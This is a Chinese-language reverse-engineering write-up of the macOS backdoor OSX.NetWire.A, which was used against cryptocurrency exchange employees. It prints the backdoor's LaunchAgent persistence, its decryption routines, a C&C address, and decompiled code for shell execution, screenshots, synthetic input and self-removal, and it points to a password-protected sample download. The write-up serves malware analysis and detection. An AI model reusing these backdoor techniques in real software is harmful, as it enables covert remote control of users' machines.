0x00 前言
大家可以从此处.zip)下载本文分析的恶意样本:
OSX.NetWire.A
(密码:infect3d
),注意别感染自己的系统。
最近有攻击者利用Firefox 0day漏洞来攻击各种加密货币交易所的员工,我自己也收到了某位受害者的邮件,其中提供了攻击细节以及攻击者在目标系统中安装的恶意软件。
来自Coinbase的安全研究员Philip Martin也提到过关于该攻击的有趣细节。
受害者和Philip都提供了非常多的信息,对我帮助很大。
在上一篇文章中,我们讨论了攻击方法,确认了攻击者使用的OSX.Netwire.A
恶意软件样本。此外,我们也讨论了恶意软件用来实现本地驻留的具体方法(通过启动代理及登录项):
$ cat ~/Library/LaunchAgents/com.mac.host.plist
{
KeepAlive = 0;
Label = "com.mac.host";
ProgramArguments = (
"/Users/user/.defaults/Finder.app/Contents/MacOS/Finder"
);
RunAtLoad = 1;
}
由于恶意软件在启动代理(com.mac.host.plist
)中设置了RunAtLoad
(值为1
),因此每次用户登录时,系统都会自动启用指定的程序:.defaults/Finder.app/Contents/MacOS/Finder
。
恶意软件还通过登录项确保每次用户登录时都能启动恶意软件,然而登录项会在UI中显示,因此会暴露恶意软件的行踪:
在本文中,我们将“深入”分析恶意软件,主要关注如下几方面:
- 安装逻辑
- 对隐藏的“配置”文件的解密过程
- 对内置的C&C服务器地址的解密过程
- 远程任务下发以及具体功能(屏幕截图、合成事件等等)
0x01 OSX.NetWire.A详细分析
这个OSX.NetWire.A
样本名为Finder.app
,对应的哈希值如下:
MD5: DE3A8B1E149312DAC5B8584A33C3F3C6
SHA1: 23017A55B3D25A2597B7148214FD8FB2372591A5
SHA256: 07A4E04EE8B4C8DC0F7507F56DC24DB00537D4637AFEE43DBB9357D4D54F6FF4
我们可以使用Hopper来逆向分析恶意软件二进制文件,在虚拟机中使用lldb
进行调试。
该恶意软件是一款标准的macOS应用,但可以兼容版本较老的OSX。比如,恶意软件中只包含32位代码,并且根据MachOView,这款软件可以运行在OSX 10.5以上的系统中:
从MachOView的输出中,我们找不到任何Objective-C区段(__objc*
),这意味着恶意软件并没有使用Objective-C开发(这一点比较少见,通常表明恶意软件开发者并不是原生的Mac程序员,可能更喜欢在Windows或者Linux上编程)。
我们也可以通过class-dump
工具来确认这一点(注意输出结果中包含This file does not contain any Objective-C runtime information
这样一句话):
$ class-dump Finder.app/Contents/MacOS/Finder
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
//
// File: Finder.app/Contents/MacOS/Finder
// UUID: 8C8AC65D-8F7C-368A-AD5A-E7FD9D58E63C
//
// Arch: i386
// Minimum Mac OS X version: 10.5.0
// SDK version: 10.12.0
//
// This file does not contain any Objective-C runtime information.
//
在分析恶意软件片段时,导出其中包含的字符串总归是不错的一种思路(通常我们可以获得关于恶意软件功能的一些有价值信息)。我们可以使用系统内置的Strings
工具(加上-a
参数),从程序文件中提取所有可打印的(ascii)字符串:
$ strings -a Finder.app/Contents/MacOS/Finder
CONNECT %s:%d HTTP/1.0
Host: %s:%d
exit
/bin/sh
/bin/bash
checkip.dyndns.org
GET / HTTP/1.1
Host: checkip.dyndns.org
Current IP Address:
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>%s</string>
<key>ProgramArguments</key>
<array>
<string>%s</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<%s/>
</dict>
</plist>
%s/Library/LaunchAgents/
%s%s.plist
.settings.conf
hyd7u5jdi8
/tmp/.%s
其中我们能看到一些有趣的字符串,可以猜测出恶意软件的功能(比如网络功能、驻留功能等)。不幸的是,我们看不到恶意软件的安装路径(这是比较有用的一个特征),也看不到C&C服务器地址。这一点其实也很正常,因为开发者通常会加密这些信息,避免恶意软件被分析。为了提取这些信息,我们需要进一步研究。
我们可以在LC_UNIXTHREAD
加载命令中查找恶意软件的入口点,特别关注的是EIP
寄存器。利用otool
工具,我们可以导出这条命令,提取相关地址(0x0000196c
):
$ otool -l Finder.app/Contents/MacOS/Finder
...
Load command 9
cmd LC_UNIXTHREAD
cmdsize 80
flavor i386_THREAD_STATE
count i386_THREAD_STATE_COUNT
eax 0x00000000 ebx 0x00000000 ecx 0x00000000 edx 0x00000000
edi 0x00000000 esi 0x00000000 ebp 0x00000000 esp 0x00000000
ss 0x00000000 eflags 0x00000000 eip 0x0000196c cs 0x00000000
ds 0x00000000 es 0x00000000 fs 0x00000000 gs 0x00000000
在反汇编器中,0x0000196c
处的代码包含C运行时对应的标准入口点逻辑:
1int EntryPoint() {
2 ebx = *(&stack[-4] + 0x4);
3 ebx = (ebx + 0x1 << 0x2) + &stack[-4] + 0x8;
4 do {
5 eax = *ebx;
6 ebx = ebx + 0x4;
7 } while (eax != 0x0);
8 eax = main();
9 eax = exit(eax);
10 return eax;
11}
注意其中对恶意软件main
函数的调用(第8行),我们从这里开始分析。
恶意软件main
函数(0x00006b17
)一开始就会解析内置的各种数据。
int main() {
...
edx = *dword_e700;
edi = *dword_e6f0;
esi = edi << 0xb ^ edi;
edi = *dword_e6fc;
ebx = *dword_e6f4;
*dword_e6f4 = edi;
ecx = eax & edx ^ edi >> 0x13 ^ esi ^ edi ^ esi >> 0x8 ^ *dword_e704;
*dword_e704 = ecx;
*dword_e6f0 = *dword_e6f8;
*dword_e6f8 = edi >> 0x13 ^ esi ^ edi ^ esi >> 0x8;
*dword_e6fc = (ebx << 0xb ^ ebx) >> 0x8 ^ ebx << 0xb ...) >> 0x13;
*dword_e700 = (ebx << 0xb ^ ebx) >> 0x8 ^ ebx << 0xb ...) >> 0x13 ^ edx ^ (ecx | eax);
ecx = 0x1;
eax = 0x0;
do {
ebx = ecx & 0xff;
*(int8_t *)(esp + ebx + 0x1898) = eax;
esi = eax;
*(int8_t *)(esp + eax + 0x5898) = ecx;
ecx = 0x0;
do {
eax = ebx + ebx;
ecx = ecx ^ HIBYTE(HIBYTE(ebx) & -(ebx & 0x1));
edx = (HIBYTE(ebx) & -(ebx & 0x1)) >> 0x1;
ebx = eax ^ 0x11b;
if ((HIBYTE(eax) & 0x1) == 0x0) {
ebx = eax;
}
} while (edx != 0x0);
eax = esi + 0x1;
} while (eax != 0xff);
}
加密数据位于__data
段的起始位置附近(磁盘上的0x0000D2F0
地址处,内存中的0x0000E2F0
地址处):
通常情况下,我们可以在解密逻辑后,(在调试器中)设置断点然后导出解密后的数据。这个操作可以通过lldb
来完成(我们选择在0x00007658
上设置断点,这个位置紧跟在解密逻辑之后)。
$ lldb Finder.app
(lldb) process launch --stop-at-entry
(lldb) b 0x00007658
Breakpoint 1: where = Finder`Finder[0x00007658], address = 0x00007658
(lldb) c
Process 1130 resuming
Process 1130 stopped (stop reason = breakpoint 1.1)
(lldb) x/100xs 0x0000e2f0 --force
0x0000e2f0: ""
...
0x0000e2f8: "89.34.111.113:443;"
0x0000e4f8: "Password"
0x0000e52a: "HostId-%Rand%"
0x0000e53b: "Default Group"
0x0000e549: "NC"
0x0000e54c: "-"
0x0000e555: "%home%/.defaults/Finder"
0x0000e5d6: "com.mac.host"
0x0000e607: "{0Q44F73L-1XD5-6N1H-53K4-I28DQ30QB8Q1}"
...
这里我们可以看到一些比较有趣的信息,包括:
- 命令及控制服务器地址:
89.34.111.113
(443
端口) - 唯一标识主机的格式化字符串:
HostId-%Rand%
- 恶意软件安装路径的格式化字符串:
%home%/.defaults/Finder
- 恶意软件启动代理对应的名称:
com.mac.host
继续分析,恶意软件会将应用程序包拷贝到~/.defaults/Finder.app
目录中,完成安装任务。恶意软件通过0x000034de
地址处的函数完成该操作,该函数首先会(通过open$UNIX2003
)打开指向恶意软件程序镜像的一个文件句柄:
(lldb) c
Process stopped
-> 0x3501: calll 0xc930 ; symbol stub for: open$UNIX2003
(lldb) x/x $esp
0xbfff8190: 0xbfff95f0
(lldb) x/s 0xbfff95f0
0xbfff95f0: "/Users/user/Desktop/Wirenet (NetWeirdRC)/A/Finder.app/Contents/MacOS/Finder"
...
然后通过read$UNIX2003
/ write$UNIX2003
循环,将自身拷贝到~/.defaults/
目录中:
loc_3568:
do {
if (ebx != 0x0) {
memset(ebp, 0x0, ebx);
esp = (esp - 0x10) + 0x10;
}
esp = (esp - 0x10) + 0x10;
esi = read$UNIX2003(edi, ebp, ebx);
if (esi <= 0x0) {
break;
}
esp = (esp - 0x10) + 0x10;
} while (write$UNIX2003(var_20, ebp, esi) == esi);
通过这种方式(即读/写循环)拷贝文件是非常传统的一种C/Linux方法。
如果使用Cocoa API,我们只需要一行代码就可以完成该操作:
[[NSFileManager defaultManager] copyItemAtPath:source toPath:destination error:nil];
为了观察恶意软件的安装行为,我们可以使用macOS内置的fs_usage
文件监控工具:
# fs_usage -w -f filesystem | grep Finder
mkdir /Users/user/.defaults Finder.7868
mkdir /Users/user/.defaults/Finder.app/ Finder.7868
mkdir /Users/user/.defaults/Finder.app/Contents Finder.7868
mkdir /Users/user/.defaults/Finder.app/Contents/MacOS Finder.7868
WrData[A] /Users/user/.defaults/Finder.app/Contents/Info.plist Finder.7868
WrData[A] /Users/user/.defaults/Finder.app/Contents/MacOS/Finder Finder.7868
chmod <rwxrwxrwx> /Users/user/.defaults/Finder.app/Contents/MacOS/Finder Finder.7868
安装完毕后,恶意软件会运行安装后的拷贝(~/.defaults/Finder.app/Contents/MacOS/Finder
),然后直接退出。
我们可以使用ProcInfo这款开源工具来观察恶意软件的启动行为:
# procInfo
process monitor enabled...
process start:
pid: 865
path: /Users/user/.defaults/Finder.app/Contents/MacOS/Finder
恶意软件安装后首先会部署驻留机制。在上一篇文章中,我们发现恶意软件会通过启动代理(~/Library/LaunchAgents/com.mac.host.plist
)以及登录项来实现驻留:
以启动代理实现驻留的代码位于0x000079f3
处:
memcpy(esi, "<?xml version="1.0" encoding="UTF-8"?>n<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//ENnt"http://www.apple.com/DTDs/PropertyList-1.0.dtd">n<plist version="1.0">n<dict>n <key>Label</key>n <string>%s</string>n <key>ProgramArguments</key>…", 0x190);
eax = getenv("HOME");
eax = __snprintf_chk(&decodeBuffer, 0x400, 0x0, 0x400, "%s/Library/LaunchAgents/", eax);
if (mkdir_forAgent() != 0x0) {
eax = __snprintf_chk(edi, 0x400, 0x0, 0x400, "%s%s.plist", &decodeBuffer, 0xe5d6);
eax = asprintf(&var_688C, esi);
edi = open$UNIX2003(edi, 0x601);
if (edi >= 0x0) {
write$UNIX2003(edi, var_688C, ebx);
esp = (esp - 0x10) + 0x10;
closeDynamically();
}
简而言之,恶意软件会进行配置,然后将内置的plist写入~/Library/LaunchAgents/com.mac.host.plist
中。当恶意软件启动时,会解密出plist的名称(com.mac.host.plist
)。
以登录项实现驻留的代码紧随其后。恶意软件会利用LSSharedFileListCreate
以及LSSharedFileListInsertItemURL
API,将恶意软件添加到用户的登录项列表中:
eax = __snprintf_chk(&decodeBuffer, 0x400, 0x0, 0x400, "%s%s.app", &var_748C, &var_788C);
eax = CFURLCreateFromFileSystemRepresentation(0x0, &decodeBuffer, eax, 0x1);
if (eax != 0x0) {
eax = LSSharedFileListCreate(0x0, **_kLSSharedFileListSessionLoginItems, 0x0);
if (eax != 0x0) {
eax = LSSharedFileListInsertItemURL(eax, **_kLSSharedFileListItemLast, 0x0, 0x0, edi, 0x0, 0x0);
}
}
(通过两种方式)完成驻留后,恶意软件会解析.settings.conf
(如果不存在则创建该文件)。该文件包含0x7F
字节的加密数据,这些数据保存在恶意软件的应用程序包中:
$ hexdump -C ~/.defaults/Finder.app/Contents/MacOS/.settings.conf
00000000 4d b8 e4 95 77 1e a5 8a 25 a9 f8 9b af 73 30 e4 |M...w...%....s0.|
00000010 6e 6f 1d d8 da e9 36 a9 f2 76 ab 25 db e7 65 79 |no....6..v.%..ey|
00000020 95 0d 01 c9 fe 3e 2b 5d 51 c8 05 d5 0d 5d 66 14 |.....>+]Q....]f.|
00000030 fb 59 56 bd ed 74 ea 2b fe 31 35 c0 54 70 65 f2 |.YV..t.+.15.Tpe.|
00000040 16 16 10 8b cb 87 93 99 6b 4a cb 91 19 f0 7b f3 |........kJ....{.|
00000050 e3 32 2b ad 11 d8 70 3c 01 aa 1d c8 89 2b b8 0c |.2+...p<.....+..|
00000060 09 0e 62 ca 9a b8 5e 30 ad 65 82 b0 57 65 a1 a6 |..b...^0.e..We..|
00000070 89 d6 b2 d6 a8 d8 03 fd 23 8e 1e 4b 09 59 b6 |........#..K.Y.|
0000007f
但这里我们还是可以使用调试器来解密。我们只需要找到设置断点的位置,然后就可以解密出数据。
在0x00007dbf
处,恶意软件会调用open$UNIX2003
API来打开.settings.conf
文件,然后在0x00007e82
处读取所有内容(大小:0x7f
)。这里会调用两个解密函数:sub_9487
以及sub_950
。
sub_950
函数代码片段如下所示:
do {
edx = edx + 0x1 & 0xff;
eax = *(int8_t *)(esp + edx + 0x8) & 0xff;
ebx = ebx + eax & 0xff;
ecx = *(int8_t *)(esp + ebx + 0x8);
*(int8_t *)(esp + edx + 0x8) = ecx;
*(int8_t *)(esp + ebx + 0x8) = eax;
*(int8_t *)edi = *(int8_t *)edi ^ *(int8_t *)(esp + (ecx + eax & 0xff) + 0x8);
edi = edi + 0x1;
esi = esi - 0x1;
} while (esi != 0x0);
但实际上我们并不关心数据如何被解密。我们只需要在恶意软件调用第二个解密函数后设置断点,导出已解密的数据即可:
$ lldb Finder.app
...
(lldb) c
Process stopped (stop reason = breakpoint 1.1)
frame #0: 0x00007ec0 Finder
-> 0x7ec0: addl $0x10, %esp
(lldb) x/0x7fx 0x0002eb8c
0x0002eb8c: 0x48 0x6f 0x73 0x74 0x49 0x64 0x2d 0x65
0x0002eb94: 0x79 0x6d 0x38 0x49 0x67 0x00 0x00 0x00
0x0002eb9c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002eba4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebac: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebb4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebbc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebc4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebcc: 0x44 0x65 0x66 0x61 0x75 0x6c 0x74 0x20
0x0002ebd4: 0x47 0x72 0x6f 0x75 0x70 0x00 0x00 0x00
0x0002ebdc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebe4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x32
0x0002ebec: 0x30 0x31 0x39 0x2f 0x30 0x36 0x2f 0x32
0x0002ebf4: 0x32 0x20 0x30 0x36 0x3a 0x32 0x33 0x3a
0x0002ebfc: 0x32 0x35 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ec04: 0x00 0x00 0x00 0x00 0x00 0x00 0x00
(lldb) x/100s 0x0002eb8c
0x0002eb8c: "HostId-eym8Ig"
0x0002ebcc: "Default Group"
0x0002ebeb: "2019/06/22 06:23:25"
现在我们可以看到恶意软件在.settings.conf
加密文件中存放的具体内容:
- 被感染主机的标识ID
- 被感染主机所属的组(可以允许攻击者根据目标公司来分类主机)
- 可能对应“感染时间”的一个时间戳(恶意软件首次运行时生成)
接下来恶意软件会连接C&C服务器,获取具体任务。前文中我们已经解出过恶意软件服务器地址以及端口:89.34.111.113:443;
(位于0x0000e2f8
处)。
在0x1f30
处,恶意软件会调用gethostbyname
API。在这个调用上设置断点后,我们可以确认89.34.111.113
的确是C&C服务器地址:
$ lldb Finder.app
(lldb) b gethostbyname
Breakpoint 1: where = libsystem_info.dylib`gethostbyname
(lldb) c
Process stopped (stop reason = breakpoint 1.1)
frame #0: 0xa7bd3540 libsystem_info.dylib`gethostbyname
-> 0xa7bd3540 <+0>: pushl %ebp
(lldb) x/wx $esp+4
0xbfff79c0: 0x00112240
(lldb) x/s 0x00112240
0x00112240: "89.34.111.113"
gethostbyname
函数接收一个参数,即代表主机名或者ip地址的一个字符串。因此当断点触发时,我们可以检查
$esp+4
处的指针(即第一个参数),打印出这个字符串。
恶意软件随后会尝试连接到89.34.111.113:443
。
int 0x00009a78 {
...
edi = socket(0x2, 0x1, 0x6);
esi = 0xffffffff;
if (edi != 0xffffffff) {
esp = (esp - 0x10) + 0x10;
connect$UNIX2003(edi, ebx, 0x10);
...
}
我们的开源防火墙(LuLu)可以检测到这种连接行为:
不幸的是,在我们分析时此次连接无法创建成功,显然恶意软件的C&C服务器已下线:
$ lsof -i TCP
COMMAND PID USER TYPE NODE NAME
Finder 843 user IPv4 TCP 192.168.0.128:49259->89.34.111.113:https (CLOSED)
手动连接这个服务器也会失败:
$ curl 89.34.111.113:443 curl: (7) Failed to connect to 89.34.111.113 port 443: Connection refused
不必担心,通过静态分析,我们可以还原出恶意软件中接收服务器任务的代码逻辑,从而分析出远程攻击者能够调用的恶意软件功能。
在0x000021cb
地址处,恶意软件会调用一个函数,该函数会调用数据接收API(recv$UNIX2003
)。如果收到有效的任务数据,恶意软件就会调用0x00004109
处的函数,执行指定的任务。
在该函数被调用前,来自C&C服务器数据的第一个字节会被move到dl
寄存器:
mov dl, byte [esp+ecx+0x78ac+dataFromServer]
在0x00004109
处,这个字节会作为switch表的一个索引:
0x00004125 dec dl
0x00004127 cmp dl, 0x42
0x0000412a ja loc_6a10
...
0x00004145 movzx eax, dl
0x00004148 jmp dword [switch_table_d1b0+eax*4]
这是恶意软件经常使用的一种“协议模式”,其中第一个字节为恶意软件需要执行的任务或操作所对应的指令。换句话说,这就是待执行的“命令”。
为了澄清恶意软件的远程任务功能,我们可以看一下switch表(0x0000d1b0
处)中引用了哪些函数。
由于时间并不充裕,这里我们不去详细分析恶意软件的所有功能。然而,我们会重点标出较为基础和有趣的一些功能。
大多数多功能后门可以在被感染主机上搜索信息,OSX.NetWire.A
也不例外。通过0x23
(35
)命令,恶意软件会收集关于系统的各种信息,包括:
- 用户信息(通过
geteuid
、getpwuid
以及%USER%
) - 主机信息(通过
gethostname
) - cpu信息(通过
machdep.cpu.brand_string
/sysctlnametomib
) - 系统版本信息(通过
CFCopySystemVersionDictionary
) - 恶意软件程序镜像信息(通过
getpid
/proc_pidpath
) - 系统架构(通过
uname
) - 恶意软件pid(通过
getpid
) - 系统时间信息(通过
localtime
)
收集到的信息经过编码(或者加密)后,格式化成如下字符串:
eax = asprintf(&var_1024, "%sx07%dx07%sx07%sx07%sx07%llux07%llux07%llux07%cx07%sx07%sx07%sx07%s
x07%dx07%sx07%dx07%sx07%dx07%dx07%sx07%dx07%sx07%dx07%sx07%dx07", &var_284C, var_3484, &var_1224, &var_1424, &var_304C, var_3494, 0x0, var_34A0, var_3498, var_348C, var_3490, ebx, &var_344C, &var_244C, &var_346C, &var_1444, 0x20, 0xe2f8, edi, 0xe3f8, esi, var_3488, 0xe4f8, ebp, &var_2C4C);
然后发送回恶意软件的C&C服务器。
与预期相符,恶意软件也可以接收攻击者的远程命令,执行各种文件操作,比如重命名、创建目录、删除等。
比如可以通过0x1A
(26
)命令来重命名文件:
0x00004f37 push ebx
0x00004f38 push edi
0x00004f39 call imp___symbol_stub__rename
通过0x1B
(27
)命令,利用unlink
API删除文件:
0x00004f5e sub esp, 0xc
0x00004f61 push esi
0x00004f62 mov edi, ecx
0x00004f64 call imp___symbol_stub__unlink
其他命令貌似与文件的读取、写入以及创建有关:
; case 0x23,
0x0000514e sub esp, 0x4
0x00005151 push ebp
0x00005152 push esi
0x00005153 push dword [dword_eb68]
0x00005159 call imp___symbol_stub__write$UNIX2003
OSX.Netwire.A
也可以接收远程命令,与进程进行交互,比如可以列出进程信息(0x42
命令):
; case 0x42,
...
push esi
push edi
push 0x0
push 0x1
call imp___symbol_stub__proc_listpids
或者结束进程(0x2C
命令):
; case 0x2C,
...
0x000056fa push 0x9
0x000056fc push eax
0x000056fd call imp___symbol_stub__kill$UNIX2003
通过0x19
(25
)命令,恶意软件会调用一个方法(0x0000344c
),该方法会执行fork
操作然后通过execv
运行进程:
1eax = fork();
2if (((eax == 0xffffffff ? 0x1 : 0x0) != (eax <= 0x0 ? 0x1 : 0x0)) && (eax == 0x0)) {
3 execv(esi, &var_18);
4 eax = exit(0x0);
5}
如果收到0x22
(34
)命令,恶意软件会调用一个函数(0x00002652
),通过/bin/sh
或者/bin/bash/
执行shell命令:
1if (stat("/bin/sh", edi) != 0x0) {
2 ebp = "/bin/bash";
3}
4else {
5 ebp = "/bin/bash";
6 if ((var_109C & 0xffff & 0xf000) == 0x8000) {
7 ebp = "/bin/sh";
8 }
9}
10
11ebx = posix_openpt(0x2);
12
13dup(var_10B0);
14dup(var_10B0);
15dup(var_10B0);
16
17setsid();
18ioctl(0x0, 0x20007461);
19...
20execvp(ebp, &var_A4);
21
22}
由于能够执行任意命令,因此恶意软件的功能实际上非常宽泛,远程攻击者可以完全控制被感染的系统。
恶意软件还可以与UI交互,比如捕捉屏幕截图。当恶意软件收到0x37
(55
)命令时,就会调用CGMainDisplayID
以及CGDisplayCreateImage
来生成用户桌面的屏幕截图:
0x0000622c movss dword [esp+0x34ac+var_101C], xmm0
0x00006235 call imp___symbol_stub__CGMainDisplayID
0x0000623a sub esp, 0xc
0x0000623d push eax
0x0000623e call imp___symbol_stub__CGDisplayCreateImage
有趣的是,OSX.Netwire.A
可能还能接受键盘以及鼠标合成事件。
当从C&C服务器收到0x34
(52
)命令时,恶意软件就会生成并发送合成的键盘事件。为了创建并发送该事件,恶意软件会调用CGEventCreateKeyboardEvent
以及CGEventPost
API。
1void sub_9a29() {
2 edi = CGEventCreateMouseEvent(0x0, edx, ...);
3 CGEventSetType(edi, edx);
4 CGEventPost(0x0, edi);
5 return;
6}
最终,恶意软件可以通过0x7
命令实现自卸载。恶意软件会调用unlink
来删除启动代理plist以及恶意软件的程序文件,然后调用LSSharedFileListItemRemove
来移除登录项:
1__snprintf_chk(&var_284C, 0x400, 0x0, 0x400,
2 "%s/Library/LaunchAgents/%s.plist", getenv("HOME"), 0xe5d6);
3eax = unlink(&var_284C);
4
5if (getPath() != 0x0) {
6 unlink(esi);
7}
8
9LSSharedFileListItemRemove(var_34A4, esi);
10
11...
0x02 总结
通过Firefox 0day,攻击者有针对地选择加密货币交易所的员工发起攻击,以实现macOS程序(OSX.NetWire.A
)的安装部署。
在本文中,我们详细分析了恶意软件,包括内部工作原理以及具体功能。我们分析了如何提取经过加密的C&C服务器地址、如何解密恶意软件隐藏的.settings.conf
文件,也详细分析了这款软件支持的各种功能。
当然,大家可以试一下Objective-See提供的各种工具,可以方便检测这个威胁。